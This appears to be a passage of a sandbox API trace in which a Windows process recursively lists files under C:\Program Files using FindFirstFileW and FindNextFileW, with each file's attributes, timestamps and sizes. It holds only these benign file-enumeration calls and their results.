FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0273.627] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0273.627] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0273.627] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0273.627] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0273.627] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0273.627] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0273.627] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0273.629] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0273.629] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0273.629] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0273.629] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0273.629] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0273.629] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0273.629] FindNextFileW (in: hFindFile=0x806c98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0273.629] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.629] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.629] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0273.629] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0273.629] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0273.629] FindClose (in: hFindFile=0x806c18 | out: hFindFile=0x806c18) returned 1 [0273.629] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.630] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0273.630] FindClose (in: hFindFile=0x806bd8 | out: hFindFile=0x806bd8) returned 1 [0273.630] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0273.631] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x44, dwReserved1=0x44, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0273.632] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0273.632] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806bd8 [0273.634] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ef07a9b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ef07a9b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.634] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0273.635] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0273.635] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0273.635] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0273.635] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0273.635] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*", lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c18 [0273.635] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.635] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0273.635] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0273.636] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0273.636] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0 [0273.636] FindClose (in: hFindFile=0x806c18 | out: hFindFile=0x806c18) returned 1 [0273.637] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.637] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0273.637] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1 [0273.637] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 1 [0273.637] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1 [0273.638] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1 [0273.638] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1 [0273.638] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1 [0273.638] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1 [0273.638] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1 [0273.638] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1 [0273.638] FindNextFileW (in: hFindFile=0x806bd8, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0273.638] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*", lpFindFileData=0x3a0eef4 | out: 